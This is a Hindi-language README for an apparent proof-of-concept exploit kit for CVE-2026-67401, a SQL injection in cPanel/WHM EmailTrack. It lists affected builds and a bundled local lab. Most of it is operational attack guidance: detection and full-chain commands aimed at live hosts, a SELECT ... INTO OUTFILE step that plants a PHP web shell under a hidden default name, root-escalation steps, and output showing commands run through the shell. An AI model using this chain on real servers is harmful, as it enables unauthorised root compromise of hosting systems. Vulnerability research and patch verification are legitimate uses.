
CVE-2026-67401 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, एक cPanel/WHM EmailTrack SQL इंजेक्शन जो मनमानी फ़ाइल लेखन और रूट RCE को सक्षम बनाता है, SQLi डिटेक्शन प्रोब और एक स्व-निहित भेद्य लैब के साथ।
CVE-2026-67401 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, cPanel & WHM की EmailTrack कार्यक्षमता में एक गंभीर SQL इंजेक्शन भेद्यता जो मेल-संबंधित विशेषाधिकारों वाले प्रमाणित उपयोगकर्ता को मनमानी फ़ाइलें लिखने और रूट के रूप में कोड निष्पादित करने की अनुमति देती है।
खोजकर्ता: Ali Mustafa प्रकट किया गया: 8 सितंबर, 2026 घटक: EmailTrack (ईमेल डिलीवरी लॉगिंग / ट्रैकिंग)
ठीक किए गए बिल्ड से नीचे के संस्करण भेद्य हैं।
| cPanel बिल्ड श्रृंखला | ठीक किया गया संस्करण |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
अपना संस्करण इससे जाँचें:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account पैरामीटर के माध्यम से इंजेक्ट करें।SELECT ... INTO OUTFILE के साथ public_html/ में एक PHP वेब शेल लिखें।| फ़ाइल | विवरण |
|---|---|
poc_sqli.py | SQL इंजेक्शन डिटेक्शन: बूलियन-आधारित, समय-आधारित, और UNION कॉलम गणना |
poc_full_chain.py | पूर्ण एक्सप्लॉइट श्रृंखला: SQLi → INTO OUTFILE वेब शेल → RCE → रूट मार्गदर्शन |
lab/vuln_server.py | भेद्य EmailTrack बैकएंड का स्थानीय सिमुलेशन (सुरक्षित, स्व-निहित) |
README.md | यह दस्तावेज़ |
बंडल किया गया लैब आपको वास्तविक cPanel सर्वर के बिना पूरी श्रृंखला चलाने और सत्यापित करने देता है।
सभी कमांड रिपॉज़िटरी रूट से चलाए जाते हैं।
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE, और PHP वेब-शेल निष्पादन।18123)lab/htdocs)इसे एक टर्मिनल में चलता रहने दें और PoC के लिए दूसरा टर्मिनल उपयोग करें।
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| तर्क | विवरण |
|---|---|
-H, --host | cPanel होस्ट, जैसे https://cp.example.com:2083 |
-u, --username | मेल विशेषाधिकारों वाला cPanel खाता |
-p, --password | खाता पासवर्ड |
--param | इंजेक्टेबल पैरामीटर (डिफ़ॉल्ट: account) |
--mode | detect (डिफ़ॉल्ट), boolean, timing, union, या all |
--sleep | टाइमिंग प्रोब के लिए SLEEP() अवधि (डिफ़ॉल्ट: 3.0) |
--dump-version | UNION के माध्यम से DBMS संस्करण निकालने का प्रयास करें |
--insecure | TLS प्रमाणपत्र सत्यापन छोड़ें |
एक विशिष्ट प्रोब चलाएँ:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| तर्क / Env | विवरण |
|---|---|
host (positional) | cPanel होस्ट, या env CPANEL_HOST सेट करें |
CPANEL_USER | मेल विशेषाधिकारों वाला cPanel खाता |
CPANEL_PASS | खाता पासवर्ड |
--shell-base | बेस URL जो public_html को सर्व करता है (जहाँ वेब शेल तक पहुँचा जाता है) |
--insecure | TLS प्रमाणपत्र सत्यापन छोड़ें |
--no-escalate | RCE के बाद रुकें; रूट एस्केलेशन मार्गदर्शन छोड़ें |
SHELL_NAME (env) | वेब शेल फ़ाइल नाम (डिफ़ॉल्ट: .mail.cache.php) |
स्वचालित रूप से निष्पादित चरण:
SELECT ... INTO OUTFILE के साथ एक PHP वेब शेल लिखेंid, whoami, SUID गणना, …)whmapi1, cron, टास्क क्यू)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
नोट: डिफ़ॉल्ट
--shell-baseहोस्ट से cPanel-केवल पोर्ट (2082/2083) हटा देता है। यदि डॉक्यूमेंट रूट किसी भिन्न पोर्ट पर सर्व किया जाता है, तो इसे स्पष्ट रूप से सेट करें।
बंडल किए गए लैब के विरुद्ध उत्पन्न आउटपुट:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
शैक्षिक और अधिकृत सुरक्षा-अनुसंधान उद्देश्यों के लिए जारी किया गया। उपयोग से पहले अस्वीकरण देखें।